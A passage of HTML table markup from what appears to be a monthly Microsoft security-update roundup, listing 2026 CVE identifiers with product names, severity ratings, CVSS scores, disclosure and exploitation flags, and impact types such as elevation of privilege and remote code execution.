  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26125"><span><span> </span>CVE-2026-26125<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Payment Orchestrator Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.6</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26131"><span><span> </span>CVE-2026-26131<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25177"><span><span> </span>CVE-2026-25177<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Active Directory Domain Services Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26117"><span><span> </span>CVE-2026-26117<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Arc Enabled Servers - Azure Connected
  Machine Agent Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26130"><span><span> </span>CVE-2026-26130<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>ASP.NET Core Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23661"><span><span> </span>CVE-2026-23661<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23662"><span><span> </span>CVE-2026-23662<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23664"><span><span> </span>CVE-2026-23664<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IoT Explorer Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26121"><span><span> </span>CVE-2026-26121<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure IOT Explorer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26118"><span><span> </span>CVE-2026-26118<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Azure MCP Server Tools Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23667"><span><span> </span>CVE-2026-23667<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Broadcast DVR Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25190"><span><span> </span>CVE-2026-25190<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25181"><span><span> </span>CVE-2026-25181<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>GDI+ Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="97">
  <td class="xl72" height="97"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26030"><span><span> </span>CVE-2026-26030 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: CVE-2026-26030 Microsoft Semantic
  Kernel InMemoryVectorStore filter functionality vulnerable<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">9.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23654"><span><span> </span>CVE-2026-23654 *</span></a></td>
  <td width="263" class="xl66"><span> </span>GitHub: Zero Shot SCFoundation Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26141"><span><span> </span>CVE-2026-26141<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Hybrid Worker Extension (Arc-enabled Windows
  VMs) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23665"><span><span> </span>CVE-2026-23665 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Linux Azure Diagnostic extension (LAD)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23674"><span><span> </span>CVE-2026-23674<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>MapUrlToZone Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26123"><span><span> </span>CVE-2026-26123<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Authenticator Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26148"><span><span> </span>CVE-2026-26148 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Azure AD SSH Login extension for
  Linux Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25167"><span><span> </span>CVE-2026-25167<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Brokering File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26107"><span><span> </span>CVE-2026-26107<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26108"><span><span> </span>CVE-2026-26108<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26109"><span><span> </span>CVE-2026-26109<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26112"><span><span> </span>CVE-2026-26112<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26134"><span><span> </span>CVE-2026-26134<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26106"><span><span> </span>CVE-2026-26106<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26114"><span><span> </span>CVE-2026-26114<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26105"><span><span> </span>CVE-2026-26105<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft SharePoint Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.1</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24283"><span><span> </span>CVE-2026-24283<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Multiple UNC Provider Kernel Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25165"><span><span> </span>CVE-2026-25165<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Performance Counters for Windows Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24282"><span><span> </span>CVE-2026-24282<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Push message Routing Service Elevation of
  Privilege Vulnerability</td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26115"><span><span> </span>CVE-2026-26115<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26116"><span><span> </span>CVE-2026-26116<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20967"><span><span> </span>CVE-2026-20967<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>System Center Operations Manager (SCOM)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24285"><span><span> </span>CVE-2026-24285<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Win32k Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
